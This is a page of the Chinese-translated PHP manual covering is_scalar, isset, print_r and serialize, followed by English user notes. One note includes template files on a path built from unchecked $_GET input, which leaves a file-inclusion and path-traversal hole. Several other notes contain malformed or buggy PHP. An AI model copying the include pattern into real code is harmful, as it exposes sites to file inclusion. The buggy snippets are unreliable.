popanowel HAT hotmailZ DOT cum
15-May-2004 03:31
Hi ... for newbees here, I just want to mention that reference and scalar variable aren't the same. A reference is a pointer to a scalar, just like in C or C++.

<? php  // simple reference to scalar

  $a = 2;
  $ref = & $a;

  echo "$a <br> $ref";

?>
this should print out: "2 <br> 2".

Scalar class also exists. Look below:
<? php

  class Object_t {

     var $a;

     function Object_t ()  // constructor
     {
       $this->a = 1;
     }

  }

  $a = new Object_t; // we define a scalar object

  $ref_a = &a;

  echo "$a->a <br> $ref->a";

?>
again, this should echo: "1 <br> 1";

Here is another method isued in OOP to acheive on working only over reference to scalar object. Using this, you won't ever have to  ask yourself if you work on a copy of the scalar or its reference. You will only possess reference to the scalar object. If you want to duplicate the scalar object, you will have to create a function for that purpose that would read by the reference the values and assign them to another scalar of the same type... or an other type, it is as you wish at that moment.
<?php

  class objet_t {
     var $a;

     function object_t
     {
       $this->a = "patate_poil";
     }
  }

   function &get_ref($object_type)
   {
     // here we create a scalar object in memory
     // and we return it by reference to the calling
     // control scope.
     return &new $object_type;
   }

   $ref_object_t = get_ref(object_t);

   echo "$ref_object_t->a <br>";

?>
this should echo: "patate_poit <br>".

The only thing that I try to demonstrate is that scalar variable ARE object in memory while a reference is usualy a variable (scalar object) that contain the address of another scalar object, which contain the informations you want by using the reference.

Good Luck!

otek is popanowel HAT hotmailZ DOT cum
bps7j at yahoNOSPAMo.com
09-Feb-2004 01:56
is_scalar(null) is false.  Apparently a variable needs to have a value to be considered a scalar.
add a note add a note

后退 | 起点 | 前进
is_resource | 上一级 | is_string


is_string

(PHP 3, PHP 4, PHP 5)

is_string -- 检测变量是否是字符串

描述

bool is_string ( mixed var )

如果 var 是 string 则返回 TRUE，否则返回 FALSE。

参见 is_bool()、is_int()、is_integer()、is_float()、is_real()、is_object() 和 is_array()。

add a note add a note User Contributed Notes
tobias_demuth at web dot de
26-Aug-2005 10:32
Returns true, if the string is empty, too.
djhook at users dot sourceforge dot net
12-Sep-2003 10:20
function is_upper($input) {
   return ($input == strtoupper($input));
}

function is_lower($input) {
   return ($input == strtolower($input));
}

this functions check if a string is all upper/lower case.

input:  string
output: true/false
slicky at newshelix dot com
20-Mar-2001 09:06
Be aware that this function could result into unwanted results if you check single chars in an array.
For instance:
You have a simple string and want to repeat this string evertime it ends.
<p>for ($i=0; $i < strlen($string);$i++){
       if(!is_string($key[$x]))
           $x = 0;
               echo $key[$x];
       $x++;
   }
</p>This will print you out the key, but won't iterate it since $x won't be reset. is_string function will give out true at element in that string, even if it doesn't exist. for instance is_string $key[1000] while your string is just 10chars long.
However this doesn't matter just use $key[$x] == '' instead.
Of course you won't use this to iterate a string, but you might come across something where this get useful, for instance for a en/decrypt engine.
add a note add a note

后退 | 起点 | 前进
is_scalar | 上一级 | isset


isset

(PHP 3, PHP 4, PHP 5)

isset -- 检测变量是否设置

描述

bool isset ( mixed var [, mixed var [, ...]] )

如果 var 存在则返回 TRUE，否则返回 FALSE。

如果已经使用 unset() 释放了一个变量之后，它将不再是 isset()。若使用 isset() 测试一个被设置成 NULL 的变量，将返回 FALSE。同时要注意的是一个 NULL 字节（"\0"）并不等同于 PHP 的 NULL 常数。

警告: isset() 只能用于变量，因为传递任何其它参数都将造成解析错误。若想检测常量是否已设置，可使用 defined() 函数。

<?php

$var = '';

// 结果为 TRUE，所以后边的文本将被打印出来。
if (isset($var)) {
    print "This var is set set so I will print.";
}

// 在后边的例子中，我们将使用 var_dump 输出 isset() 的返回值。

$a = "test";
$b = "anothertest";

var_dump( isset($a) );      // TRUE
var_dump( isset ($a, $b) ); // TRUE

unset ($a);

var_dump( isset ($a) );     // FALSE
var_dump( isset ($a, $b) ); // FALSE

$foo = NULL;
var_dump( isset ($foo) );   // FALSE

?>

这对于数组中的元素也同样有效：

<?php

$a = array ('test' => 1, 'hello' => NULL);

var_dump( isset ($a['test']) );            // TRUE
var_dump( isset ($a['foo']) );             // FALSE
var_dump( isset ($a['hello']) );           // FALSE

// 键 'hello' 的值等于 NULL，所以被认为是未置值的。
// 如果想检测 NULL 键值，可以试试下边的方法。
var_dump( array_key_exists('hello', $a) ); // TRUE

?>

注: 由于这是一个语言结构而非函数，因此它无法被变量函数调用。

参见 empty()、unset()、defined()、array_key_exists() 和错误控制 @ 运算符。

add a note add a note User Contributed Notes
soywiz at php dot net
14-Apr-2006 09:12
Sometimes you have to check if an array has some keys. To achieve it you can use "isset" like this: isset($array['key1'], $array['key2'], $array['key3'], $array['key4'])
You have to write $array all times and it is reiterative if you use same array each time.

With this simple function you can check if an array has some keys:

<?php
function isset_array() {
   if (func_num_args() < 2) return true;
   $args = func_get_args();
   $array = array_shift($args);
   if (!is_array($array)) return false;
   foreach ($args as $n) if (!isset($array[$n])) return false;
   return true;
}
?>

Use: isset_array($array, 'key1', 'key2', 'key3', 'key4')
First parameter has the array; following parameters has the keys you want to check.
kariedoo
10-Mar-2006 02:27
Before:

//ask, if is set
$number = isset($_GET['number']) ? $_GET['number'] : '';
$age = isset($_GET['age']) ? $_GET['age'] : '';
$street = isset($_GET['street']) ? $_GET['street'] : '';

After: --> it's easier to read

//ask, if is set
 $parameter = array('number', 'age', 'street');
 foreach($parameter as $name)
 {
   $$name = isset($_GET[$name]) ? $_GET[$name] : '';
 }
red at iklanumum dot com
10-Feb-2006 02:02
This could be viewed as a philosophy. I wonder why a NULL variabel is being considered FALSE rather than TRUE while in isset, because if the variable has been unset it becomes undefined but a NULL variabel is still defined although it has no value. Or, perhaps, it's based on the memory usage, if it is how about $x="" ? Is empty value use memory too? This leads me to another thinking that the isset isn't have family relationship with unset although both of it are a language construct and have 'set' word :)
Slawek Petrykowski
29-Nov-2005 07:06
<?php
$foo = 'a little string';
echo isset($foo)?'yes ':'no ', isset($foo['aaaa'])?'yes ':'no ';
>

results with unexpected values:
yes yes

Well, it is necessary to check type of $foo first !
Peter Beckman <beckman at purplecow dot com>
21-Sep-2005 03:16
Based on the previous post, I've found this code even more useful:

<?php
function isset_sum(&$var, $val) {
   if (isset($var))  $var += $val;
   else              $var  = $val;
}
?>

Now instead of:

<?php
if (isset($foo[$bar][$baz][$fooz])) $foo[$bar][$baz][$fooz] += $count;
else                                $foo[$bar][$baz][$fooz] = $count;
?>

No more "Undefined variable" warnings, and you save your fingers and sanity!  Thanks to the previous poster for inspiration.
14-Sep-2005 06:41
I don't know if you guys can use this but i find this piece of code pretty useful (for readabillity at least):

function isset_else( $&v, $r )
{
   if( isset( $v ))
       return $v;
   else
       return $r;
}

This way you can go:

$a = 4;

$c += isset_else( $a, 0 );
$c += isset_else( $b, 0 );

echo $c;

Of course, this code would work anyway, but you get the point.
php [at] barryhunter [.] co [.] uk
08-Sep-2005 03:47
In case it helps someone, here's a table to compare different Variable tests/comparisons

http://www.deformedweb.co.uk/php_variable_tests.php
onno at itmaze dot com dot au ##php==owh
12-Aug-2005 03:33
In PHP4, the following works as expected:

if (isset($obj->thing['key'])) {
  unset($obj->thing['key']) ;
}

In PHP5 however you will get a fatal error for the unset().

The work around is:

if (is_array($obj->thing) && isset($obj->thing['key'])) {
  unset($obj->thing['key']) ;
}
richard william lee AT gmail
11-Jun-2005 02:38
Just a note on the previous users comments. isset() should only be used for testing if the variable exists and not if the variable containes an empty "" string. empty() is designed for that.

Also, as noted previosuly !empty() is the best method for testing for set non-empty variables.
darkstar_ae at hotmail dot com
25-May-2005 04:03
isset doesn't reliably evaluate variables with blank strings (not necessarily NULL).
i.e.
$blankvar = ""; // isset will return true on this.

This is a very common pitfall when handling HTML forms that return blank text fields to the script. You're better off doing this:

if ($var != "")
return true;
else
return false;

This more of a programming practice rather than the function's shortcomings. So if you have a habit of initializing variables you're likely to run into problems with isset() if your code or php project become very large.
Andrew Penry
11-May-2005 11:17
The following is an example of how to test if a variable is set, whether or not it is NULL. It makes use of the fact that an unset variable will throw an E_NOTICE error, but one initialized as NULL will not.

<?php

function var_exists($var){
   if (empty($GLOBALS['var_exists_err'])) {
       return true;
   } else {
       unset($GLOBALS['var_exists_err']);
       return false;
   }
}

function var_existsHandler($errno, $errstr, $errfile, $errline) {
   $GLOBALS['var_exists_err'] = true;
}

$l = NULL;
set_error_handler("var_existsHandler", E_NOTICE);
echo (var_exists($l)) ? "True " : "False ";
echo (var_exists($k)) ? "True " : "False ";
restore_error_handler();

?>

Outputs:
True False

The problem is, the set_error_handler and restore_error_handler calls can not be inside the function, which means you need 2 extra lines of code every time you are testing. And if you have any E_NOTICE errors caused by other code between the set_error_handler and restore_error_handler they will not be dealt with properly. One solution:

<?php

function var_exists($var){
   if (empty($GLOBALS['var_exists_err'])) {
       return true;
   } else {
       unset($GLOBALS['var_exists_err']);
       return false;
   }
}

function var_existsHandler($errno, $errstr, $errfile, $errline) {
   $filearr = file($errfile);
   if (strpos($filearr[$errline-1], 'var_exists') !== false) {
       $GLOBALS['var_exists_err'] = true;
       return true;
   } else {
       return false;
   }
}

$l = NULL;
set_error_handler("var_existsHandler", E_NOTICE);
echo (var_exists($l)) ? "True " : "False ";
echo (var_exists($k)) ? "True " : "False ";
is_null($j);
restore_error_handler();

?>

Outputs:
True False
Notice: Undefined variable: j in filename.php on line 26

This will make the handler only handle var_exists, but it adds a lot of overhead. Everytime an E_NOTICE error happens, the file it originated from will be loaded into an array.
phpnet dot 5 dot reinhold2000 at t spamgourmet dot com
10-Apr-2005 11:33
if you want to check whether the user has sent post vars from a form, it is a pain to write something like the following, since isset() does not check for zero-length strings:

if(isset($form_name) && $form_name != '') [...]

a shorter way would be this one:

if($form_name && $form_message) [...]

but this is dirty since you cannot make sure these variables exist and php will echo a warning if you refer to a non-existing variable like this. plus, a string containing "0" will evaluate to FALSE if casted to a boolean.

this function will check one or more form values if they are set and do not contain an empty string. it returns false on the first empty or non-existing post var.

<?
function postvars() {
   foreach(func_get_args() as $var) {
       if(!isset($_POST[$var]) || $_POST[$var] === '') return false;
   }
   return true;
}
?>

example: if(postvars('form_name','form_message')) [...]
yaogzhan at gmail dot com
20-Mar-2005 08:52
in PHP5, if you have

<?PHP
class Foo
{
   protected $data = array('bar' => null);

   function __get($p)
   {
       if( isset($this->data[$p]) ) return $this->data[$p];
   }
}
?>

and
<?PHP
$foo = new Foo;
echo isset($foo->bar);
?>
will always echo 'false'. because the isset() accepts VARIABLES as it parameters, but in this case, $foo->bar is NOT a VARIABLE. it is a VALUE returned from the __get() method of the class Foo. thus the isset($foo->bar) expreesion will always equal 'false'.
dubmeier aaattt Y! daht calm
02-Mar-2005 07:13
Here are some handy wrappers to isset that I use when I need to do common evaluations like: this variable is set and has a length greater than 0, or: I want the variables value, or a blank, if not set.

/**
 * isset_echo()
 *
 * Accomplishes the following w/o warnings:
 *    echo $x;
 *    echo $x[$y];
 *    echo $x[$y][$z];
 *
 * FIXME: make this recursive so it works for N args?
 */
function isset_echo($x, $y=Null, $z=Null)
{
   if (is_array($x)) {
       if (array_key_exists($y, $x)) {
           if (is_array($x[$y])) {
               if (array_key_exists($z, $x[$y])) { echo $x[$y][$z]; }
           }
           else { echo $x[$y]; }
       }
   }
   else { echo $x; }
}

/**
 * isset_value()
 *
 * As above, but returns value instead of echoing
 */
function isset_value(&$x, $y=Null)
{
   if (is_array($x)) {
       if (array_key_exists($y, $x)) { return $x[$y]; }
   }
   else { return $x; }
}

/**
 * isset_and_equals()
 *
 * As above, but ...
 * Returns true if variable (or array member) is set and equaL to the first parameter
 */
function isset_equals($val, $w, $x=null, $y=null, $z=null) {
   if (is_array($w)) {
               if (array_key_exists($x, $w)) {
               if (is_array($w[$x])) {
                       if (array_key_exists($y, $w[$x])) {
                                   if (is_array($w[$x][$y])) {
                                       if(array_key_exists($z, $w[$x][$y])) {
                                               return ($w[$x][$y][$z] == $val) ? true : false;
                                       }
                                   } else {
                                       return ($w[$x][$y] == $val) ? true : false;
                                   }
                           }
                   } else {
                       return ($w[$x] == $val) ? true : false;
                   }
       }
   } else {
               return ($w == $val) ? true : false;
       }
}

/**
 * isset_gt0()
 *
 * As above, but returns true only if var is set and it's length is > 0
 */
function isset_gt0(&$x)
{
   if (isset($x) && strlen($x) > 0) { return true; }
   else { return false; }
}
codeslinger at compsalot dot com
07-Feb-2005 02:21
according to the docs -- "isset() will return FALSE if testing a variable that has been set to NULL."

That statment is not always correct, sometimes isset() returns TRUE for a NULL value.  But the scenarios are obtuse.  There are a tons of bugs on this subject, all marked as bogus.

Problems occur when NULLs are in named fields of arrays and also when vars are passed by reference.

do lots of testing and code defensively.

is_null()  is your friend...
pianistsk8er at gmail dot com
10-Dec-2004 10:23
This function is very useful while calling to the URL to specify which template to be used on certain parts of your application.

Here is an example...

<?php

   $cat = $_GET['c'];
   $id = $_GET['id'];
   $error = 'templates/error.tpl';

   if( isset($cat))
   {
       if( isset($id))
       {
           $var = 'templates/pics/' . $cat . '-' . $id . '.tpl';
           if (is_file($var))
           {
               include($var);
           }
           else
           {
               include($error);
           }
       }
       else
       {
           $var = 'templates/pics/' . $cat . '.tpl';
           if (is_file($var))
           {
               include($var);
           }
           else
           {
               include($error);
           }
       }
   }
   else
   {
       include('templates/alternative.'.tpl);
   }

?>

You can see several uses of the isset function being used to specify wheter a template is to be called upon or not.  This can easily prevent other generic PHP errors.
jc dot michel at symetrie dot com
15-Nov-2004 06:35
Using
  isset($array['key'])
is useful, but be careful!
using
  isset($array['key']['subkey'])
doesn't work as one could expect, if $array['key'] is a string it seems that 'subkey' is converted to (integer) 0 and $array['key']['subkey'] is evaluated as the first char of the string.
The solution is to use
  is_array($array['key']) && isset($array['key']['subkey'])

Here is a small code to show this:

<?php
$ex = array('one' => 'val1','two' => 'val2');
echo '$ex = ';print_r($ex);
echo "<br />";

echo " isset(\$ex['one']['three']) : ";
if (isset($ex['one']['three']))
   echo 'true';
else
   echo 'false';

echo "<br />";
echo "is_array(\$ex['one']) &&  isset(\$ex['one']['three']) : ";
if (is_array($ex['one']) && isset($ex['one']['three']))
   echo 'true';
else
   echo 'false';
?>

shows:
$ex = Array ( [one] => val1 [two] => val2 )
isset($ex['one']['three']) : true
is_array($ex['one']) && isset($ex['one']['three']) : false
jon
08-Dec-2003 02:19
Since PHP will check cases in order, I often end up using this bit of code:

<?php
if (isset($var) && $var) {
   // do something
}
?>

In short, if you have error reporting on, and $var is not set, PHP will generate an error if you just have:

<?php
if ($var) { // do something }
?>

...but, as noted elsewhere, will return True if set to False in this case:
<?php
if (isset($var)) { // do something }
?>

Checking both to see if $var is set, and that it equals something other than Null or False is something I find very useful a lot of times.  If $var is not set, PHP will never execute the second part of "(isset($var) && $var)", and thus never generate an error either.

This also works very nice for setting variable as well, e.g.:
<?php
$var = (isset($var) && $var) ? $var : 'new value';
?>
flobee at gmx dot net
09-Sep-2003 05:16
just as note: if you want to check variables by boolean value: true or false , "isset" has a different meaning!
<?php
$var=null;
// sample 1
if($var) {
   // if true or another value exept "false" , "null": go on here
   echo "1. var is true or has a value $var<br>";
} else {
   echo "1. var is &quot;false&quot; or &quot;null&quot;<br>";
}

if(!$var) {
   // if false or "null": go on here
   echo "2. var has no value $var<br>";
} else {
   echo "2. var is &quot;false&quot; or &quot;null&quot;<br>";
}

// sample 2
$var =false;
if(isset($var)) {
  // $var is false so it is set to a value and the execution goes here
   echo "3. var has value: $var<br>";
}

$var=null;
if(!isset($var)) {
  // $var is null (does not exist at this time) and the execution goes here
   echo "4. var was not set $var<br>";
}
?>
05-May-2000 08:11
To find out what member vars are defined in a class, use the get_class_vars() function (see http://www.php.net/manual/function.get-class-vars.php)
add a note add a note

后退 | 起点 | 前进
is_string | 上一级 | print_r


print_r

(PHP 4, PHP 5)

print_r -- 打印关于变量的易于理解的信息。

描述

bool print_r ( mixed expression [, bool return] )

注: 参数 return 是在 PHP 4.3.0 的时候加上的

print_r() 显示关于一个变量的易于理解的信息。如果给出的是 string、integer 或 float，将打印变量值本身。如果给出的是 array，将会按照一定格式显示键和元素。object 与数组类似。

记住，print_r() 将把数组的指针移到最后边。使用 reset() 可让指针回到开始处。

<pre>
<?php
    $a = array ('a' => 'apple', 'b' => 'banana', 'c' => array ('x','y','z'));
    print_r ($a);
?>
</pre>

上边的代码将输出：
<pre>
Array
(
    [a] => apple
    [b] => banana
    [c] => Array
        (
            [0] => x
            [1] => y
            [2] => z
        )
)
</pre>

如果想捕捉 print_r() 的输出，可使用 return 参数。若此参数设为 TRUE，print_r() 将不打印结果（此为默认动作），而是返回其输出。

例子 1. return 参数示例

<?php
    $b = array ('m' => 'monkey', 'foo' => 'bar', 'x' => array ('x', 'y', 'z'));
    $results = print_r ($b, true); //$results 包含了 print_r 的输出结果
?>

注: 如果想在 PHP 4.3.0 之前的版本中捕捉 print_r() 的输出，可使用输出控制函数。

注: 在 PHP 4.0.4 之前的版本中，如果给出的 array 或 object 包含了直接或间接指向自身的引用，print_r() 将永远继续下去。print_r($GLOBALS) 就是一个例子，因为 $GLOBALS 自身即是全局变量，其包含了指向自身的引用。

参见 ob_start()、var_dump() 和 var_export()。

add a note add a note User Contributed Notes
ohira (atto) web. de
13-Apr-2006 10:01
Bases on thbleys sript i use this one to log some actions.
It will return a tabbed like string which you can output or whatever.

Input fields like "Password" will not be shown.

<?php

function print_r_string($arr,$first=true,$tab=0)
{
   $output = "";
   $tabsign = ($tab) ? str_repeat('&nbsp;&nbsp;&nbsp;&nbsp;',$tab) : '';
   if ($first) $output .= "<pre><br>\n";
   foreach($arr as $key => $val)
   {
       switch (gettype($val))
       {
           case "array":
               $output .= $tabsign."[".htmlspecialchars($key)."] = array(".count($val).")<br>\n".$tabsign."(<br>\n";
               $tab++;
               $output .= print_r_string($val,false,$tab);
               $tab--;
               $output .= $tabsign.")<br>\n";
           break;
           case "boolean":
               $output .= $tabsign."[".htmlspecialchars($key)."] bool = '".($val?"true":"false")."'<br>\n";
           break;
           case "integer":
               $output .= $tabsign."[".htmlspecialchars($key)."] int = '".htmlspecialchars($val)."'<br>\n";
           break;
           case "double":
               $output .= $tabsign."[".htmlspecialchars($key)."] double = '".htmlspecialchars($val)."'<br>\n";
           break;
           case "string":
               $output .= $tabsign."[".htmlspecialchars($key)."] string = '".((stristr($key,'passw')) ? str_repeat('*', strlen($val)) : htmlspecialchars($val))."'<br>\n";
           break;
           default:
               $output .= $tabsign."[".htmlspecialchars($key)."] unknown = '".htmlspecialchars(gettype($val))."'<br>\n";
           break;
       }
   }
   if ($first) $output .= "</pre><br>\n";
   return $output;
}

echo print_r_string(array($_POST,$_GET)); // for Example
?>
sanya at hik dot hu
05-Apr-2006 10:13
I find a possibly bug, when I wanted to print the structure of a DOMDocument or a DOMDocumentType object.
print_r() outputs the object type correctly, but the properties are missing.

$doc = $imp->createDocument();
$doc->loadXML($xmlString);
print_r($doc->doctype);

the code outputs:

DOMDocumentType Object
(
)

But the subobjects of $doc->doctype exist.
reinder at fake-address dot com
01-Feb-2006 01:09
I always use this function in my code, because most of my functions return an Array or Boolean :

<?php

function printr ( $object , $name = '' ) {

   print ( '\'' . $name . '\' : ' ) ;

   if ( is_array ( $object ) ) {
       print ( '<pre>' )  ;
       print_r ( $object ) ;
       print ( '</pre>' ) ;
   } else {
       var_dump ( $object ) ;
   }

}

?>

( print_r gives no output on FALSE and that can be annoying! )
13-Dec-2005 05:00
function print_pre($var){
echo '<pre>';
print_r($var);
echo '</pre>'
}
thbley at gmail dot com
17-Nov-2005 04:10
Here is a print_r that produces xml:
(now you can expand/collapse the nodes in your browser)

<?php
header('Content-Type: text/xml; charset=UTF-8');
echo print_r_xml($some_var);

function print_r_xml($arr,$first=true) {
  $output = "";
  if ($first) $output .= "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<data>\n";
  foreach($arr as $key => $val) {
   if (is_numeric($key)) $key = "arr_".$key; // <0 is not allowed
   switch (gettype($val)) {
     case "array":
       $output .= "<".htmlspecialchars($key)." type='array' size='".count($val)."'>".
         print_r_xml($val,false)."</".htmlspecialchars($key).">\n"; break;
     case "boolean":
       $output .= "<".htmlspecialchars($key)." type='bool'>".($val?"true":"false").
         "</".htmlspecialchars($key).">\n"; break;
     case "integer":
       $output .= "<".htmlspecialchars($key)." type='integer'>".
         htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
     case "double":
       $output .= "<".htmlspecialchars($key)." type='double'>".
         htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
     case "string":
       $output .= "<".htmlspecialchars($key)." type='string' size='".strlen($val)."'>".
         htmlspecialchars($val)."</".htmlspecialchars($key).">\n"; break;
     default:
       $output .= "<".htmlspecialchars($key)." type='unknown'>".gettype($val).
         "</".htmlspecialchars($key).">\n"; break;
   }
  }
  if ($first) $output .= "</data>\n";
  return $output;
}

?>
jamin42b at gmail dot com
02-Sep-2005 08:52
Here's a short function that can export php arrays to javascript arrays.

<?php

function php_to_js($array, $base) {
   $js = '';
   foreach ($array as $key=>$val) {
       if (is_array($val)) {
           $js .= php_to_js($val, $base.(is_numeric($key) ? '['.$key.']' : "['".addslashes($key)."']"));
       } else {
           $js .= $base;
           $js .= is_numeric($key) ? '['.$key.']' : "['".addslashes($key)."']";
           $js .= ' = ';
           $js .= is_numeric($val) ? ''.$val.'' : "'".addslashes($val)."'";
           $js .= ";\n";
       }
   }
   return $base." = new Array();\n".$js;
}

?>

Example use:

<?php
$my_array = array('gdsag' => 4, 'hello', array(5, 6));
echo '<script>'.php_to_js($my_array).'</script>';
?>

This would output:

<script>
jsvarname = new Array();
jsvarname['gdsag'] = 4;
jsvarname[0] = 'hello';
jsvarname[1] = new Array();
jsvarname[1][0] = 5;
jsvarname[1][1] = 6;

</script>

Now the array is loaded in the browser as javascript. As you can see, it supports multidimensional arrays too.
warhog at warhog dot net
12-Aug-2005 08:01
For very long arrays I have written a little function which formats an array quite nice and uses javascript for browsing it like a tree. The function is very customizable with the $style parameter.
For me it's of great use for browsing large array's, for example when those are used in language-files in some script and so on. It may even be used in "real" scripts for the "real" front-end, cause the tree can very easily be styled (look at the function or the outputted source and you'll see what i mean).

Here's the function:

<?php

function print_r_html($arr, $style = "display: none; margin-left: 10px;")
{ static $i = 0; $i++;
  echo "\n<div id=\"array_tree_$i\" class=\"array_tree\">\n";
  foreach($arr as $key => $val)
  { switch (gettype($val))
   { case "array":
       echo "<a onclick=\"document.getElementById('";
       echo array_tree_element_$i."').style.display = ";
       echo "document.getElementById('array_tree_element_$i";
       echo "').style.display == 'block' ?";
       echo "'none' : 'block';\"\n";
       echo "name=\"array_tree_link_$i\" href=\"#array_tree_link_$i\">".htmlspecialchars($key)."</a><br />\n";
       echo "<div class=\"array_tree_element_\" id=\"array_tree_element_$i\" style=\"$style\">";
       echo print_r_html($val);
       echo "</div>";
     break;
     case "integer":
       echo "<b>".htmlspecialchars($key)."</b> => <i>".htmlspecialchars($val)."</i><br />";
     break;
     case "double":
       echo "<b>".htmlspecialchars($key)."</b> => <i>".htmlspecialchars($val)."</i><br />";
     break;
     case "boolean":
       echo "<b>".htmlspecialchars($key)."</b> => ";
       if ($val)
       { echo "true"; }
       else
       { echo "false"; }
       echo  "<br />\n";
     break;
     case "string":
       echo "<b>".htmlspecialchars($key)."</b> => <code>".htmlspecialchars($val)."</code><br />";
     break;
     default:
       echo "<b>".htmlspecialchars($key)."</b> => ".gettype($val)."<br />";
     break; }
   echo "\n"; }
  echo "</div>\n"; }

?>

The function as it is now does not support the $return parameter as print_r does and will create an endless loop like print_r did in php-versions < 4.0.3 when there is an element which contains a reference to a variable inside of the array to print out :-/

I've tested it with PHP 5.0.6 and PHP 4.2.3 - no problems except those already mentioned.

please e-mail me if you've got a solution for the problems i've mentioned, i myself are not able to solve them 'cause i don't know how the hell i can find out whether a variable is a reference or not.
nicky dot weber at siner dot de
11-Jun-2005 05:13
Print arrays formatted for a browser easily:

<?php
function print_html_r( $aData ) {
   echo nl2br( eregi_replace( " ", " ", print_r( $data, TRUE ) ) );
}
?>
general at NOSPAMbugfoo dot com
21-Jan-2005 05:23
You can't use print_r($var, TRUE) inside a function which is a callback from ob_start() or you get the following error:
Fatal error: print_r(): Cannot use output buffering in output buffering display handlers
add a note add a note

后退 | 起点 | 前进
isset | 上一级 | serialize


serialize

(PHP 3 >= 3.0.5, PHP 4, PHP 5)

serialize -- 产生一个可存储的值的表示

描述

string serialize ( mixed value )

serialize() 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。

这有利于存储或传递 PHP 的值，同时不丢失其类型和结构。

想要将已序列化的字符串变回 PHP 的值，可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组／对象中的引用也将被存储。

当序列化对象时，PHP 将试图在序列动作之前调用该对象的成员函数
__sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的，当使用
unserialize() 恢复对象时， 将调用
__wakeup() 成员函数。

注: 在 PHP 3 中，对象属性将被序列化，但是方法则会丢失。PHP 4 打破了此限制，可以同时存储属性和方法。请参见类与对象中的序列化对象部分获取更多信息。

例子 1. serialize() 示例

<?php
// $session_data 是包含了当前用户 session 信息的多维数组。
// 我们使用 serialize() 在请求结束之前将其存储到数据库中。

$conn = odbc_connect ("webdb", "php", "chicken");
$stmt = odbc_prepare ($conn,
      "UPDATE sessions SET data = ? WHERE id = ?");
$sqldata = array (serialize($session_data), $PHP_AUTH_USER);
if (!odbc_execute ($stmt, &$sqldata)) {
    $stmt = odbc_prepare($conn,
     "INSERT INTO sessions (id, data) VALUES(?, ?)");
    if (!odbc_execute($stmt, &$sqldata)) {
    /* 出错 */
    }
}
?>

参见：unserialize()。

add a note add a note User Contributed Notes
egingell at sisna dot com
16-May-2006 08:12
<?
/*
Anatomy of a serialize()'ed value:

 String
 s:size:value;

 Integer
 i:value;

 Boolean
 b:value; (does not store "true" or "false", does store '1' or '0')

 Null
 N;

 Array
 a:size:{key definition;value definition;(repeated per element)}

 Object
 O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

 String values are always in double quotes
 Array keys are always integers or strings
   "null => 'value'" equates to 's:0:"";s:5:"value";',
   "true => 'value'" equates to 'i:1;s:5:"value";',
   "false => 'value'" equates to 'i:0;s:5:"value";',
   "array(whatever the contents) => 'value'" equates to an "illegal offset type" warning because you can't use an
   array as a key; however, if you use a variable containing an array as a key, it will equate to 's:5:"Array";s:5:"value";',
     and
   attempting to use an object as a key will result in the same behavior as using an array will.
*/
?>
erudd at netfor dot com
31-Mar-2006 05:36
To unserialize a PHP session file, unserlize can not be used directly.
The data must be split, as the php session file also contains the names of the variables which serialize/unserialize do not do.  Here is a simple preg_split that will acomplish the split.. (regex not thuroughly tested, but should work for most all circumstances)

<?php
$session = file_get_contents($session_file);
$data = preg_split('/([A-Za-z_][A-Za-z0-9_]*)\|/',$session,-1, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);
?>

$data[0] will contain the variable name, and $data[1] will contain the serialized data.  so in effect
<?php
$$data[0] = unserialize($data[1]);
?>
will restore that one variable.

just go through the $data array evens being the variable name, odd being the data.  You can use this to create a simple command line session viewer:)
me-no-spam-iain at iaindooley dot com
11-Mar-2006 10:26
i've just been having fun with the Serializable interface. The big prob is that get_class_vars does not return the current values of the vars, and get_object_vars does not return private members :-( this behaviour was alledgedly fixed in cvs march 2005, but is back again!! i've reported it here:

http://bugs.php.net/bug.php?id=36693

the following are serialize and unserialize functions that will allow you to implement the Serializable interface, saving all members' current values and giving any extending classes the opportunity to add in any of their private member variables as well.

       public function serialize()
       {
           $serialized = array();

           foreach(array_keys(get_class_vars(__CLASS__)) as $key)
               eval('$serialized[\''.$key.'\'] = $this->'.$key.';');
           $this->serializeMore($serialized);
           return serialize($serialized);
       }

       protected function serializeMore(&$arr)
       {
       }

       public function unserialize($serialized)
       {
           $data = unserialize($serialized);

           foreach($data as $prop => $val)
               $this->$prop = $val;
           $this->unserializeMore($data);
           $this->releaseTable();

           return true;
       }

       protected function unserializeMore($data)
       {
       }
angel at support-24 dot com
09-Feb-2006 04:25
I recently had a problem inserting serialized array in mysql DB using PEAR DB_Base class functions. mySQL fails to insert the serialized array because the serialized data contains semicolon. A way to solve that problem is to make same changes to the serialized data:

$serializeorder = serialize($order);
$serializeorder = preg_replace("#;#msi",'0x3B',$serializeorder);
$serializeorder = preg_replace("/(\n)|(\r)/"," ",$serializeorder);
$serializeorder = addcslashes($serializeorder, "\0..\37!@\@\177..\377");
$serializeorder = addslashes($serializeorder);

Here we substitute the semicolon with it's hex. We alse get rid of cariage return. Remember to make the vise versa substitution again when extracting the data.
Neil Green
03-Feb-2006 09:23
Are you trying to store and retrieve an object from session and it's disappearing?  Did you look at what the serialized object looked like and saw a strange "N;"?  Does the object you're trying to serialize or store in a session define the __call magic method?

Here's the problem:  If you try to serialize an object that uses the __call magic method you are not going to be able to unserialize it.

Here's what happens:

1.  You try to serialize an object with the __call magic method defined
2.  The magic method __sleep is always called on an object being serialized
3.  __call traps __sleep because it's not defined
4.  __call does not respond to __sleep with what is expected: an array of properties to serialize

The solution is defining a __sleep method that returns what it's supposed to when you define a __call:

<?
// This is just a handy debug function
function show( $object ){ echo "<pre>" . print_r( $object, true ) . "</pre>"; }

class foo
{
   private $private = "private value";
   public $public = "public value";

   public function __call( $method, $arguments )
   {

   }

   // Remove this and serialise/unserialse won't work
   public function __sleep()
   {
       return array_keys( get_object_vars( $this ) );
   }
}

$foo = new Foo();

show( $foo );

$serializedFoo = serialize( $foo );
show( $serializedFoo );
show( unserialize( $serializedFoo ) );
?>

BTW, I'm using PHP Version 5.0.4 on Windows.

To the editor:  This post may be useful under the __call, __unserialise, and session pages as well.
Embeded nulls with private vars
18-Jan-2006 12:08
